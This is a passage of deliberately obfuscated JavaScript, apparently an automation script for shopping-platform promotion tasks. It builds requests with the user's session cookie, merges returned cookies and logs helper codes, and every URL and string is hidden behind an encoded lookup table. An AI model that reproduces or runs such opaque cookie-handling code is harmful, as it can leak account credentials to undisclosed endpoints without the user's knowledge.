_0x5b5810!==_0x140361;},'\x6b\x69\x4a\x52\x78':_0x87f4('‮269','\x63\x4f\x25\x61'),'\x56\x66\x6e\x74\x55':_0x87f4('‮26a','\x4d\x42\x49\x64'),'\x6f\x71\x79\x46\x69':_0x87f4('‮26b','\x34\x74\x6c\x48'),'\x6c\x72\x6e\x48\x66':_0x87f4('‮26c','\x4a\x32\x6b\x76'),'\x44\x62\x4c\x77\x4d':function(_0x5c4391,_0x4959b9){return _0x5c4391+_0x4959b9;},'\x70\x6d\x62\x72\x58':function(_0x2e55f7,_0x354c33){return _0x2e55f7+_0x354c33;},'\x62\x74\x6e\x66\x59':function(_0x2d6404,_0x1033f2){return _0x2d6404!==_0x1033f2;},'\x51\x73\x74\x44\x46':_0x87f4('‮26d','\x54\x36\x33\x71'),'\x69\x48\x62\x62\x68':_0x87f4('‫26e','\x5d\x25\x68\x79'),'\x4a\x75\x51\x44\x73':_0x87f4('‮26f','\x6c\x41\x4e\x55'),'\x53\x6d\x45\x5a\x4d':_0x87f4('‮270','\x54\x70\x77\x69'),'\x44\x4a\x4b\x69\x51':function(_0x57b91c,_0xc6303c){return _0x57b91c===_0xc6303c;},'\x56\x6b\x65\x4e\x4c':_0x87f4('‫271','\x29\x52\x26\x53'),'\x79\x6e\x55\x58\x75':_0x87f4('‮272','\x63\x4f\x25\x61'),'\x43\x77\x56\x74\x76':function(_0x4fb33,_0x21d015){return _0x4fb33+_0x21d015;},'\x6d\x49\x77\x77\x42':_0x87f4('‫273','\x65\x45\x58\x41'),'\x44\x72\x62\x6c\x74':_0x87f4('‫274','\x6e\x50\x69\x51'),'\x77\x6a\x59\x78\x64':_0x87f4('‮275','\x34\x74\x40\x45'),'\x43\x71\x4e\x4f\x76':_0x87f4('‫276','\x6e\x50\x69\x51'),'\x71\x58\x52\x78\x6e':_0x87f4('‫277','\x79\x79\x31\x4e'),'\x64\x75\x4f\x52\x4e':_0x87f4('‫278','\x5d\x25\x68\x79'),'\x41\x74\x4d\x59\x56':_0x87f4('‮279','\x79\x5a\x59\x32'),'\x49\x56\x6f\x51\x7a':_0x87f4('‫27a','\x6c\x41\x4e\x55'),'\x74\x42\x48\x56\x56':_0x87f4('‫27b','\x61\x46\x45\x33'),'\x64\x42\x4d\x4b\x6e':_0x87f4('‫27c','\x33\x51\x65\x48'),'\x4d\x52\x63\x4b\x41':_0x87f4('‮27d','\x47\x7a\x7a\x79'),'\x7a\x56\x58\x68\x48':function(_0x1728af,_0x1a5afa){return _0x1728af===_0x1a5afa;},'\x4b\x59\x4b\x51\x45':_0x87f4('‫27e','\x34\x74\x40\x45'),'\x78\x4b\x64\x67\x52':_0x87f4('‫27f','\x73\x48\x62\x4b'),'\x46\x58\x4d\x68\x74':_0x87f4('‮200','\x33\x51\x65\x48'),'\x65\x73\x66\x4c\x64':_0x87f4('‫280','\x58\x6d\x41\x57'),'\x6d\x49\x68\x57\x65':_0x87f4('‮281','\x5d\x25\x68\x79'),'\x6c\x41\x71\x4f\x69':function(_0x305cd3,_0x4e7a91,_0xa40926){return _0x305cd3(_0x4e7a91,_0xa40926);},'\x6d\x7a\x50\x66\x6d':_0x87f4('‫282','\x4a\x32\x6b\x76'),'\x49\x55\x79\x67\x6c':function(_0x74d2e,_0x4b00d2){return _0x74d2e(_0x4b00d2);},'\x6f\x77\x7a\x44\x50':function(_0x3af7e2,_0x39f342){return _0x3af7e2+_0x39f342;},'\x6e\x6d\x51\x64\x67':_0x87f4('‮283','\x33\x51\x65\x48'),'\x58\x44\x6d\x67\x51':function(_0x3f5541,_0x17b87f){return _0x3f5541===_0x17b87f;},'\x4b\x55\x4e\x6e\x4a':_0x87f4('‮284','\x6c\x56\x25\x67'),'\x58\x58\x69\x78\x6d':_0x87f4('‫285','\x46\x55\x72\x32'),'\x75\x4b\x51\x76\x4e':_0x87f4('‮286','\x47\x7a\x7a\x79'),'\x55\x79\x58\x4d\x4a':_0x87f4('‮287','\x58\x6d\x41\x57'),'\x48\x41\x67\x79\x65':_0x87f4('‮288','\x54\x70\x77\x69'),'\x67\x49\x4a\x53\x4f':function(_0x13c4b6,_0x29bddb){return _0x13c4b6!==_0x29bddb;},'\x4a\x7a\x53\x4c\x6d':_0x87f4('‮289','\x29\x42\x42\x45'),'\x58\x64\x7a\x4a\x51':_0x87f4('‮28a','\x65\x45\x58\x41'),'\x76\x67\x4d\x7a\x50':_0x87f4('‫28b','\x37\x7a\x2a\x4a'),'\x7a\x46\x61\x54\x56':function(_0x3f4676){return _0x3f4676();},'\x66\x6e\x4d\x53\x52':function(_0x29cd36,_0x38882c){return _0x29cd36+_0x38882c;},'\x6f\x75\x69\x4f\x67':function(_0x49a1a6,_0x2f0b90){return _0x49a1a6*_0x2f0b90;},'\x71\x5a\x67\x73\x51':function(_0x363319,_0x5dc534){return _0x363319-_0x5dc534;},'\x58\x75\x6c\x42\x6e':function(_0x137d9e,_0x704776,_0x15daea,_0x301828){return _0x137d9e(_0x704776,_0x15daea,_0x301828);}};return new Promise(_0x1de160=>{var _0x5a0ade={'\x70\x69\x67\x41\x49':function(_0x1f1ad1){return _0xb124ab[_0x87f4('‮28c','\x79\x5a\x59\x32')](_0x1f1ad1);},'\x50\x79\x45\x7a\x72':function(_0x1cf75f){return _0xb124ab[_0x87f4('‫28d','\x4d\x42\x49\x64')](_0x1cf75f);},'\x64\x53\x45\x47\x7a':function(_0x28ca2b,_0x3fef6b){return _0xb124ab[_0x87f4('‫28e','\x4c\x72\x2a\x77')](_0x28ca2b,_0x3fef6b);},'\x74\x71\x59\x63\x52':function(_0x3ba9b0,_0x5cb7a){return _0xb124ab[_0x87f4('‫28f','\x34\x43\x47\x35')](_0x3ba9b0,_0x5cb7a);},'\x65\x54\x6e\x66\x4e':function(_0x837ea9,_0x4bef96){return _0xb124ab[_0x87f4('‮290','\x29\x42\x42\x45')](_0x837ea9,_0x4bef96);}};$[_0x87f4('‮291','\x44\x66\x34\x2a')](_0xb124ab[_0x87f4('‮292','\x76\x76\x42\x43')](taskUrl,_0x5b93e7,_0x27cf5a,_0x4db711),async(_0x11ceba,_0x333966,_0x10599a)=>{var _0x111bf0={'\x46\x63\x6d\x62\x78':_0xb124ab[_0x87f4('‮293','\x56\x6d\x4e\x53')],'\x73\x7a\x5a\x4b\x43':function(_0x47e246,_0x4e92b6){return _0xb124ab[_0x87f4('‫294','\x34\x74\x40\x45')](_0x47e246,_0x4e92b6);},'\x50\x75\x4d\x6e\x56':_0xb124ab[_0x87f4('‮295','\x63\x4f\x25\x61')]};try{if(_0x11ceba){if(_0xb124ab[_0x87f4('‫296','\x76\x70\x30\x23')](_0xb124ab[_0x87f4('‫297','\x4d\x42\x49\x64')],_0xb124ab[_0x87f4('‫298','\x71\x23\x23\x76')])){$[_0x87f4('‮299','\x6e\x50\x69\x51')](_0x11ceba);}else{$[_0x87f4('‫29a','\x46\x55\x72\x32')](error);}}else{if(_0x10599a){_0x10599a=JSON[_0x87f4('‮29b','\x61\x46\x45\x33')](_0x10599a);if(_0x333966[_0xb124ab[_0x87f4('‮29c','\x74\x35\x70\x65')]][_0xb124ab[_0x87f4('‫29d','\x73\x48\x62\x4b')]]){cookie=originCookie+'\x3b';for(let _0x2425de of _0x333966[_0xb124ab[_0x87f4('‫29e','\x6d\x54\x55\x53')]][_0xb124ab[_0x87f4('‫29f','\x4c\x72\x2a\x77')]]){lz_cookie[_0x2425de[_0x87f4('‮9b','\x6e\x50\x69\x51')]('\x3b')[0x0][_0x87f4('‫2a0','\x23\x41\x65\x78')](0x0,_0x2425de[_0x87f4('‫2a1','\x47\x7a\x7a\x79')]('\x3b')[0x0][_0x87f4('‮2a2','\x54\x70\x77\x69')]('\x3d'))]=_0x2425de[_0x87f4('‮2a3','\x29\x52\x26\x53')]('\x3b')[0x0][_0x87f4('‫2a4','\x56\x6d\x4e\x53')](_0xb124ab[_0x87f4('‮2a5','\x5d\x25\x68\x79')](_0x2425de[_0x87f4('‫2a6','\x79\x5a\x59\x32')]('\x3b')[0x0][_0x87f4('‮2a7','\x4d\x42\x49\x64')]('\x3d'),0x1));}for(const _0x2f279e of Object[_0x87f4('‮2a8','\x71\x23\x23\x76')](lz_cookie)){cookie+=_0xb124ab[_0x87f4('‮2a9','\x4d\x42\x49\x64')](_0xb124ab[_0x87f4('‮2aa','\x25\x71\x4d\x71')](_0xb124ab[_0x87f4('‫2ab','\x4c\x51\x59\x24')](_0x2f279e,'\x3d'),lz_cookie[_0x2f279e]),'\x3b');}}if(_0x10599a[_0x87f4('‮2ac','\x46\x55\x72\x32')]){if(_0xb124ab[_0x87f4('‮2ad','\x4d\x42\x49\x64')](_0xb124ab[_0x87f4('‮2ae','\x52\x62\x46\x57')],_0xb124ab[_0x87f4('‮2af','\x35\x73\x5b\x64')])){switch(_0x5b93e7){case _0xb124ab[_0x87f4('‮2b0','\x58\x6d\x41\x57')]:$[_0x87f4('‮2b1','\x50\x6b\x62\x24')]=_0x10599a[_0x87f4('‫2b2','\x34\x43\x47\x35')][_0x87f4('‮2b3','\x4d\x42\x49\x64')];$[_0x87f4('‫2b4','\x34\x74\x6c\x48')]=_0x10599a[_0x87f4('‫2b5','\x67\x31\x5a\x28')][_0x87f4('‮2b6','\x63\x4f\x25\x61')];$[_0x87f4('‫2b7','\x21\x35\x33\x57')]=_0x10599a[_0x87f4('‫2b8','\x44\x48\x5a\x34')][_0x87f4('‮2b9','\x47\x7a\x7a\x79')];break;case _0xb124ab[_0x87f4('‫2ba','\x65\x45\x58\x41')]:$[_0x87f4('‮2bb','\x79\x5a\x59\x32')]=_0x10599a[_0x87f4('‫2bc','\x54\x70\x77\x69')][_0x87f4('‮2bd','\x29\x52\x26\x53')];$[_0x87f4('‫2be','\x34\x74\x6c\x48')]=_0x10599a[_0x87f4('‫2bc','\x54\x70\x77\x69')][_0x87f4('‮2bf','\x7a\x34\x77\x71')];if(_0xb124ab[_0x87f4('‮2c0','\x7a\x34\x77\x71')]($[_0x87f4('‫2c1','\x4c\x51\x59\x24')],0x1)){if(_0xb124ab[_0x87f4('‮2c2','\x33\x51\x65\x48')](_0xb124ab[_0x87f4('‫2c3','\x46\x55\x72\x32')],_0xb124ab[_0x87f4('‮2c4','\x79\x5a\x59\x32')])){ownCode=_0x10599a[_0x87f4('‮2c5','\x44\x66\x34\x2a')][_0x87f4('‫2c6','\x71\x53\x72\x62')];console[_0x87f4('‫5d','\x29\x52\x26\x53')](_0xb124ab[_0x87f4('‫2c7','\x4c\x72\x2a\x77')](_0xb124ab[_0x87f4('‫2c8','\x34\x74\x6c\x48')],ownCode));}else{wxgameActivityId=process[_0x87f4('‫2c9','\x23\x41\x65\x78')][_0x87f4('‫2ca','\x34\x74\x6c\x48')][_0x87f4('‫2cb','\x63\x63\x57\x42')]('\x2c');}}break;case _0xb124ab[_0x87f4('‫2cc','\x63\x63\x57\x42')]:if(_0x10599a[_0x87f4('‫2cd','\x6c\x7a\x21\x32')][_0x87f4('‫2ce','\x56\x6d\x4e\x53')]){if(_0xb124ab[_0x87f4('‫2cf','\x63\x63\x57\x42')]($[_0x87f4('‮2d0','\x76\x70\x30\x23')],0x1)){ownCode[_0xb124ab[_0x87f4('‮2d1','\x50\x6c\x34\x73')]]=_0x10599a[_0x87f4('‮2d2','\x52\x62\x46\x57')][_0x87f4('‫2d3','\x79\x79\x31\x4e')];ownCode[_0xb124ab[_0x87f4('‫2d4','\x6c\x41\x4e\x55')]]=_0x10599a[_0x87f4('‫2d5','\x61\x46\x45\x33')][_0x87f4('‫2d6','\x4d\x42\x49\x64')];}$[_0x87f4('‫2d7','\x34\x74\x6c\x48')]=_0x10599a[_0x87f4('‫2d8','\x6d\x54\x55\x53')][_0x87f4('‮2d9','\x74\x35\x70\x65')];}else{if(_0xb124ab[_0x87f4('‫2da','\x23\x41\x65\x78')](_0xb124ab[_0x87f4('‫2db','\x4c\x51\x59\x24')],_0xb124ab[_0x87f4('‮2dc','\x34\x74\x6c\x48')])){if(_0xb124ab[_0x87f4('‫2dd','\x44\x66\x34\x2a')]($[_0x87f4('‫2de','\x4d\x42\x49\x64')],0x1)){ownCode[_0xb124ab[_0x87f4('‫2df','\x29\x52\x26\x53')]]=_0xb124ab[_0x87f4('‫2e0','\x58\x64\x45\x7a')];ownCode[_0xb124ab[_0x87f4('‫2e1','\x21\x35\x33\x57')]]=_0x10599a[_0x87f4('‫2e2','\x31\x74\x29\x36')][_0x87f4('‫2d6','\x4d\x42\x49\x64')];}$[_0x87f4('‫2e3','\x58\x6d\x41\x57')]=_0xb124ab[_0x87f4('‫2e4','\x21\x35\x33\x57')];}else{_0x5a0ade[_0x87f4('‫2e5','\x34\x74\x40\x45')](_0x1de160);}}break;case _0xb124ab[_0x87f4('‫2e6','\x6d\x54\x55\x53')]:$[_0x87f4('‫2e7','\x74\x35\x70\x65')]=_0x10599a[_0x87f4('‮2e8','\x46\x55\x72\x32')][_0x87f4('‫2e9','\x46\x55\x72\x32')];console[_0x87f4('‫194','\x76\x76\x42\x43')](_0x87f4('‮2ea','\x25\x71\x4d\x71')+$[_0x87f4('‫2eb','\x73\x48\x62\x4b')]);break;case _0xb124ab[_0x87f4('‫2ec','\x34\x43\x47\x35')]:$[_0x87f4('‮2ed','\x25\x71\x4d\x71')]=_0x10599a[_0x87f4('‫2ee','\x35\x73\x5b\x64')];break;case _0xb124ab[_0x87f4('‫2ef','\x21\x35\x33\x57')]:break;case _0xb124ab[_0x87f4('‮2f0','\x76\x76\x42\x43')]:$[_0x87f4('‮2f1','\x73\x48\x62\x4b')]=_0x10599a[_0x87f4('‫2f2','\x7a\x34\x77\x71')];break;case _0xb124ab[_0x87f4('‮2f3','\x4d\x42\x49\x64')]:if(_0x10599a[_0x87f4('‫2f4','\x67\x31\x5a\x28')]&&_0xb124ab[_0x87f4('‮2f5','\x37\x7a\x2a\x4a')](_0x10599a[_0x87f4('‮2f6','\x65\x45\x58\x41')],!![])){console[_0x87f4('‫2f7','\x29\x42\x42\x45')](_0xb124ab[_0x87f4('‮2f8','\x67\x31\x5a\x28')]);}else if(_0x10599a[_0x87f4('‫2f9','\x29\x52\x26\x53')]){console[_0x87f4('‮e','\x63\x63\x57\x42')](_0x87f4('‮2fa','\x4a\x32\x6b\x76')+(_0x10599a[_0x87f4('‮2fb','\x73\x48\x62\x4b')]||_0xb124ab[_0x87f4('‮2fc','\x63\x63\x57\x42')]));}else{console[_0x87f4('‮b0','\x35\x73\x5b\x64')](_0x10599a);}break;case _0xb124ab[_0x87f4('‫2fd','\x74\x35\x70\x65')]:$[_0x87f4('‫1fb','\x6c\x56\x25\x67')]=_0x10599a[_0x87f4('‫2ee','\x35\x73\x5b\x64')];break;case _0xb124ab[_0x87f4('‮2fe','\x76\x70\x30\x23')]:$[_0x87f4('‮225','\x65\x45\x58\x41')]=_0x10599a[_0x87f4('‫2ff','\x74\x35\x70\x65')];break;case _0xb124ab[_0x87f4('‮300','\x44\x66\x34\x2a')]:if(_0xb124ab[_0x87f4('‫301','\x34\x74\x6c\x48')](_0x10599a[_0x87f4('‮43','\x25\x71\x4d\x71')][_0x87f4('‫302','\x6c\x41\x4e\x55')],0x1)){await $[_0x87f4('‮303','\x74\x35\x70\x65')](0x1f4);let _0x1b21a6=new Date()[_0x87f4('‮304','\x6c\x41\x4e\x55')]()[_0x87f4('‫305','\x6c\x7a\x21\x32')]();await _0xb124ab[_0x87f4('‫306','\x6c\x56\x25\x67')](task,_0xb124ab[_0x87f4('‫307','\x79\x5a\x59\x32')],_0x87f4('‫1e8','\x6d\x54\x55\x53')+$[_0x87f4('‫308','\x79\x5a\x59\x32')]+_0x87f4('‮309','\x47\x7a\x7a\x79')+_0xb124ab[_0x87f4('‮30a','\x5d\x25\x68\x79')](encodeURIComponent,$[_0x87f4('‫1d1','\x31\x74\x29\x36')])+_0x87f4('‫30b','\x61\x46\x45\x33')+$[_0x87f4('‮30c','\x34\x74\x40\x45')]+_0x87f4('‮30d','\x71\x23\x23\x76')+$[_0x87f4('‮30e','\x71\x53\x72\x62')]+_0x87f4('‮30f','\x71\x53\x72\x62')+_0x1b21a6+_0x87f4('‫310','\x6c\x41\x4e\x55')+$[_0x87f4('‮311','\x29\x42\x42\x45')](_0xb124ab[_0x87f4('‫312','\x7a\x34\x77\x71')](_0xb124ab[_0x87f4('‮313','\x23\x41\x65\x78')](_0xb124ab[_0x87f4('‮314','\x37\x7a\x2a\x4a')]($[_0x87f4('‮315','\x34\x74\x40\x45')],'\x2c'),_0x1b21a6),_0xb124ab[_0x87f4('‮316','\x46\x55\x72\x32')])));}else{console[_0x87f4('‫5d','\x29\x52\x26\x53')](_0x87f4('‮317','\x50\x6b\x62\x24'));}break;case _0xb124ab[_0x87f4('‫318','\x5d\x25\x68\x79')]:if(_0x10599a[_0x87f4('‫319','\x4a\x32\x6b\x76')][_0x87f4('‫31a','\x21\x35\x33\x57')]){if(_0xb124ab[_0x87f4('‮31b','\x50\x6c\x34\x73')](_0xb124ab[_0x87f4('‮31c','\x6c\x7a\x21\x32')],_0xb124ab[_0x87f4('‫31d','\x50\x6b\x62\x24')])){_0x5a0ade[_0x87f4('‫31e','\x37\x7a\x2a\x4a')](_0x1de160);}else{console[_0x87f4('‮48','\x29\x4c\x6c\x6b')](_0x87f4('‮31f','\x63\x63\x57\x42')+_0x10599a[_0x87f4('‮2c5','\x44\x66\x34\x2a')][_0x87f4('‮320','\x35\x73\x5b\x64')]);message+=_0x10599a[_0x87f4('‫2bc','\x54\x70\x77\x69')][_0x87f4('‫3e','\x52\x62\x46\x57')];llnothing=![];}}else{console[_0x87f4('‮17f','\x44\x48\x5a\x34')](_0x87f4('‫321','\x34\x74\x40\x45'));}break;case _0xb124ab[_0x87f4('‫322','\x6c\x7a\x21\x32')]:if(_0x10599a[_0x87f4('‮323','\x25\x71\x4d\x71')]){$[_0x87f4('‮324','\x29\x42\x42\x45')]=_0x10599a[_0x87f4('‮325','\x58\x64\x45\x7a')][_0x87f4('‮326','\x79\x5a\x59\x32')];}else{console[_0x87f4('‮256','\x4c\x51\x59\x24')](_0x10599a[_0x87f4('‮327','\x76\x70\x30\x23')]);}break;default:$[_0x87f4('‫f1','\x4c\x72\x2a\x77')](JSON[_0x87f4('‮328','\x6c\x7a\x21\x32')](_0x10599a));break;}await $[_0x87f4('‫329','\x73\x48\x62\x4b')](0x7d0);}else{$[_0x87f4('‫32a','\x4d\x42\x49\x64')]();}}else{if(_0xb124ab[_0x87f4('‮32b','\x5a\x4d\x49\x21')](_0xb124ab[_0x87f4('‮32c','\x47\x7a\x7a\x79')],_0xb124ab[_0x87f4('‫32d','\x61\x46\x45\x33')])){$[_0x87f4('‫2f7','\x29\x42\x42\x45')](_0x111bf0[_0x87f4('‮32e','\x5a\x4d\x49\x21')]);}else{switch(_0x5b93e7){case _0xb124ab[_0x87f4('‮32f','\x4c\x72\x2a\x77')]:$[_0x87f4('‫330','\x74\x35\x70\x65')]=!![];break;default:$[_0x87f4('‫331','\x31\x74\x29\x36')](JSON[_0x87f4('‮328','\x6c\x7a\x21\x32')](_0x10599a));break;}}}}else{if(_0xb124ab[_0x87f4('‫332','\x76\x70\x30\x23')](_0xb124ab[_0x87f4('‫333','\x29\x4c\x6c\x6b')],_0xb124ab[_0x87f4('‮334','\x58\x64\x45\x7a')])){$[_0x87f4('‮335','\x58\x64\x45\x7a')]=!![];}else{ownCode=_0x10599a[_0x87f4('‮336','\x4d\x42\x49\x64')][_0x87f4('‫337','\x34\x74\x6c\x48')];console[_0x87f4('‫338','\x34\x43\x47\x35')](_0x111bf0[_0x87f4('‫339','\x54\x70\x77\x69')](_0x111bf0[_0x87f4('‫33a','\x63\x63\x57\x42')],ownCode));}}}}catch(_0x75f8fb){if(_0xb124ab[_0x87f4('‫33b','\x6c\x41\x4e\x55')](_0xb124ab[_0x87f4('‮33c','\x54\x36\x33\x71')],_0xb124ab[_0x87f4('‮33d','\x47\x7a\x7a\x79')])){return _0x5a0ade[_0x87f4('‮33e','\x46\x55\x72\x32')](Math[_0x87f4('‮33f','\x73\x48\x62\x4b')](_0x5a0ade[_0x87f4('‫340','\x35\x73\x5b\x64')](Math[_0x87f4('‮341','\x34\x74\x6c\x48')](),_0x5a0ade[_0x87f4('‮342','\x71\x53\x72\x62')](max,min))),min);}else{$[_0x87f4('‫343','\x50\x6c\x34\x73')](_0x75f8fb);}}finally{_0xb124ab[_0x87f4('‫344','\x71\x23\x23\x76')](_0x1de160);}});});}function taskUrl(_0x3d5346,_0x5c07dd,_0xfe69a3){var _0x5de70e={'\x4b\x55\x59\x72\x5a':_0x87f4('‫345','\x33\x51\x65\x48'),'\x4b\x63\x5a\x77\x75':_0x87f4('‮346','\x61\x46\x45\x33'),'\x51\x61\x58\x50\x43':_0x87f4('‫347','\x65\x45\x58\x41'),'\x61\x44\x70\x56\x61':_0x87f4('‫348','\x6d\x54\x55\x53'),'\x77\x42\x4a\x6d\x4e':_0x87f4('‫349','\x34\x43\x47\x35'),'\x6e\x48\x57\x55\x46':_0x87f4('‮34a','\x63\x63\x57\x42'),'\x56\x5a\x77\x72\x63':_0x87f4('‮34b','\x50\x6b\x62\x24'),'\x63\x72\x61\x58\x76':_0x87f4('‫34c','\x46\x55\x72\x32')};return{'\x75\x72\x6c':_0xfe69a3?_0x87f4('‮34d','\x79\x79\x31\x4e')+_0x3d5346:_0x87f4('‮34e','\x54\x70\x77\x69')+_0x3d5346,'\x68\x65\x61\x64\x65\x72\x73':{'\x48\x6f\x73\x74':_0x5de70e[_0x87f4('‮34f','\x54\x36\x33\x71')],'\x41\x63\x63\x65\x70\x74':_0x5de70e[_0x87f4('‮350','\x63\x63\x57\x42')],'X-Requested-With':_0x5de70e[_0x87f4('‫351','\x79\x79\x31\x4e')],'Accept-Language':_0x5de70e[_0x87f4('‮352','\x50\x6c\x34\x73')],'Accept-Encoding':_0x5de70e[_0x87f4('‮353','\x35\x73\x5b\x64')],'Content-Type':_0x5de70e[_0x87f4('‫354','\x79\x79\x31\x4e')],'\x4f\x72\x69\x67\x69\x6e':_0x5de70e[_0x87f4('‫355','\x6d\x54\x55\x53')],'User-Agent':_0x87f4('‮356','\x61\x46\x45\x33')+$[_0x87f4('‫357','\x74\x35\x70\x65')]+_0x87f4('‫358','\x6e\x50\x69\x51')+$[_0x87f4('‮359','\x29\x42\x42\x45')]+_0x87f4('‫35a','\x79\x5a\x59\x32'),'\x43\x6f\x6e\x6e\x65\x63\x74\x69\x6f\x6e':_0x5de70e[_0x87f4('‮35b','\x54\x70\x77\x69')],'\x52\x65\x66\x65\x72\x65\x72':$[_0x87f4('‮35c','\x6c\x56\x25\x67')],'\x43\x6f\x6f\x6b\x69\x65':cookie},'\x62\x6f\x64\x79':_0x5c07dd};}function getMyPing(){var _0xdeb177={'\x71\x42\x48\x4f\x51':function(_0x498c38,_0x1a0230){return _0x498c38===_0x1a0230;},'\x78\x4a\x4e\x68\x79':_0x87f4('‫35d','\x5a\x4d\x49\x21'),'\x6b\x69\x67\x61\x6c':function(_0x4cfa94,_0x19c3b0){return _0x4cfa94===_0x19c3b0;},'\x76\x4d\x6b\x69\x67':_0x87f4('‮35e','\x33\x51\x65\x48'),'\x7a\x56\x73\x41\x61':_0x87f4('‫35f','\x79\x5a\x59\x32'),'\x42\x42\x45\x55\x79':_0x87f4('‫360','\x33\x51\x65\x48'),'\x51\x79\x4d\x6f\x64':_0x87f4('‫361','\x61\x46\x45\x33'),'\x6d\x55\x64\x4c\x67':function(_0x3a8637,_0x35bf56){return _0x3a8637===_0x35bf56;},'\x48\x4d\x74\x74\x5a':_0x87f4('‮362','\x46\x55\x72\x32'),'\x45\x41\x42\x72\x56':_0x87f4('‫363','\x4a\x32\x6b\x76'),'\x43\x63\x48\x61\x69':_0x87f4('‫364','\x6c\x56\x25\x67'),'\x72\x70\x6f\x4a\x59':_0x87f4('‫365','\x79\x79\x31\x4e'),'\x49\x66\x5a\x6b\x51':_0x87f4('‮366','\x56\x6d\x4e\x53'),'\x47\x6c\x4e\x75\x51':function(_0x54b74e,_0x40f613){return _0x54b74e+_0x40f613;},'\x61\x62\x6b\x53\x66':_0x87f4('‮367','\x21\x35\x33\x57'),'\x56\x4a\x78\x4a\x59':function(_0xd6c27a,_0x4174d5){return _0xd6c27a+_0x4174d5;},'\x72\x48\x48\x63\x47':function(_0x30ea14,_0xbfa4a){return _0x30ea14+_0xbfa4a;},'\x4e\x69\x72\x77\x46':function(_0x3551b9,_0x217bc5){return _0x3551b9+_0x217bc5;},'\x4b\x41\x42\x55\x7a':_0x87f4('‫368','\x71\x23\x23\x76'),'\x4c\x79\x74\x6d\x6a':function(_0x117ba3){return _0x117ba3();},'\x52\x51\x4f\x76\x74':_0x87f4('‫369','\x21\x35\x33\x57'),'\x47\x50\x69\x6f\x4a':_0x87f4('‫36a','\x76\x76\x42\x43'),'\x64\x41\x70\x4a\x64':_0x87f4('‮36b','\x5d\x25\x68\x79'),'\x6f\x69\x44\x69\x4b':_0x87f4('‫36c','\x65\x45\x58\x41'),'\x77\x66\x62\x41\x77':_0x87f4('‫36d','\x47\x7a\x7a\x79'),'\x50\x62\x7a\x48\x43':_0x87f4('‫36e','\x29\x42\x42\x45'),'\x6e\x42\x77\x43\x55':_0x87f4('‫36f','\x44\x48\x5a\x34'),'\x4e\x51\x69\x6e\x59':_0x87f4('‮370','\x34\x74\x6c\x48'),'\x69\x75\x47\x53\x6b':_0x87f4('‮371','\x29\x4c\x6c\x6b'),'\x65\x44\x4f\x50\x6f':_0x87f4('‫372','\x31\x74\x29\x36')};let _0x1742a4={'\x75\x72\x6c':_0x87f4('‮373','\x7a\x34\x77\x71'),'\x68\x65\x61\x64\x65\x72\x73':{'\x48\x6f\x73\x74':_0xdeb177[_0x87f4('‫374','\x44\x48\x5a\x34')],'\x41\x63\x63\x65\x70\x74':_0xdeb177[_0x87f4('‫375','\x76\x76\x42\x43')],'X-Requested-With':_0xdeb177[_0x87f4('‫376','\x29\x42\x42\x45')],'Accept-Language':_0xdeb177[_0x87f4('‮377','\x6e\x50\x69\x51')],'Accept-Encoding':_0xdeb177[_0x87f4('‫378','\x34\x43\x47\x35')],'Content-Type':_0xdeb177[_0x87f4('‮379','\x67\x31\x5a\x28')],'\x4f\x72\x69\x67\x69\x6e':_0xdeb177[_0x87f4('‮37a','\x6c\x41\x4e\x55')],'User-Agent':_0x87f4('‮37b','\x29\x42\x42\x45')+$[_0x87f4('‫37c','\x4a\x32\x6b\x76')]+_0x87f4('‮37d','\x50\x6b\x62\x24')+$[_0x87f4('‫76','\x58\x6d\x41\x57')]+_0x87f4('‫37e','\x31\x74\x29\x36'),'\x43\x6f\x6e\x6e\x65\x63\x74\x69\x6f\x6e':_0xdeb177[_0x87f4('‮37f','\x23\x41\x65\x78')],'\x52\x65\x66\x65\x72\x65\x72':$[_0x87f4('‫380','\x21\x35\x33\x57')],'\x43\x6f\x6f\x6b\x69\x65':cookie},'\x62\x6f\x64\x79':_0x87f4('‫381','\x76\x70\x30\x23')+$[_0x87f4('‫382','\x29\x42\x42\x45')]+_0x87f4('‫383','\x6c\x7a\x21\x32')+$[_0x87f4('‮384','\x6c\x41\x4e\x55')]+_0x87f4('‮385','\x79\x79\x31\x4e')};return new Promise(_0x579d45=>{var _0x57776e={'\x6c\x6a\x79\x61\x41':_0xdeb177[_0x87f4('‮386','\x58\x64\x45\x7a')]};if(_0xdeb177[_0x87f4('‫387','\x34\x43\x47\x35')](_0xdeb177[_0x87f4('‫388','\x50\x6b\x62\x24')],_0xdeb177[_0x87f4('‫389','\x25\x71\x4d\x71')])){$[_0x87f4('‮291','\x44\x66\x34\x2a')](_0x1742a4,(_0x4d6764,_0x3f7408,_0x28764a)=>{var _0x1abb0e={'\x45\x58\x4e\x58\x4c':function(_0x30a49d,_0x4c01b9){return _0xdeb177[_0x87f4('‫38a','\x50\x6b\x62\x24')](_0x30a49d,_0x4c01b9);},'\x69\x65\x4a\x6a\x67':_0xdeb177[_0x87f4('‫38b','\x58\x64\x45\x7a')],'\x77\x79\x66\x45\x57':function(_0x49db34,_0x3aef8d){return _0xdeb177[_0x87f4('‮38c','\x61\x46\x45\x33')](_0x49db34,_0x3aef8d);},'\x79\x4c\x71\x46\x43':_0xdeb177[_0x87f4('‮38d','\x44\x66\x34\x2a')],'\x68\x49\x6d\x76\x77':_0xdeb177[_0x87f4('‮38e','\x79\x79\x31\x4e')]};if(_0xdeb177[_0x87f4('‮38f','\x50\x6b\x62\x24')](_0xdeb177[_0x87f4('‫390','\x21\x35\x33\x57')],_0xdeb177[_0x87f4('‫391','\x52\x62\x46\x57')])){_0x28764a=JSON[_0x87f4('‮29b','\x61\x46\x45\x33')](_0x28764a);if(_0x1abb0e[_0x87f4('‫392','\x4d\x42\x49\x64')](_0x28764a[_0x87f4('‮393','\x50\x6c\x34\x73')],_0x1abb0e[_0x87f4('‫394','\x31\x74\x29\x36')])){$[_0x87f4('‫395','\x25\x71\x4d\x71')]=![];return;}if(_0x1abb0e[_0x87f4('‫396','\x4d\x42\x49\x64')](_0x28764a[_0x87f4('‮397','\x63\x63\x57\x42')],'\x30')&&_0x28764a[_0x87f4('‫398','\x73\x48\x62\x4b')][_0x87f4('‫399','\x50\x6b\x62\x24')](_0x1abb0e[_0x87f4('‫39a','\x71\x23\x23\x76')])){$[_0x87f4('‮39b','\x4a\x32\x6b\x76')]=_0x28764a[_0x87f4('‫39c','\x4c\x72\x2a\x77')][_0x87f4('‮39d','\x67\x31\x5a\x28')][_0x87f4('‫39e','\x23\x41\x65\x78')][_0x87f4('‫39f','\x71\x23\x23\x76')];}}else{try{if(_0x4d6764){if(_0xdeb177[_0x87f4('‮3a0','\x46\x55\x72\x32')](_0xde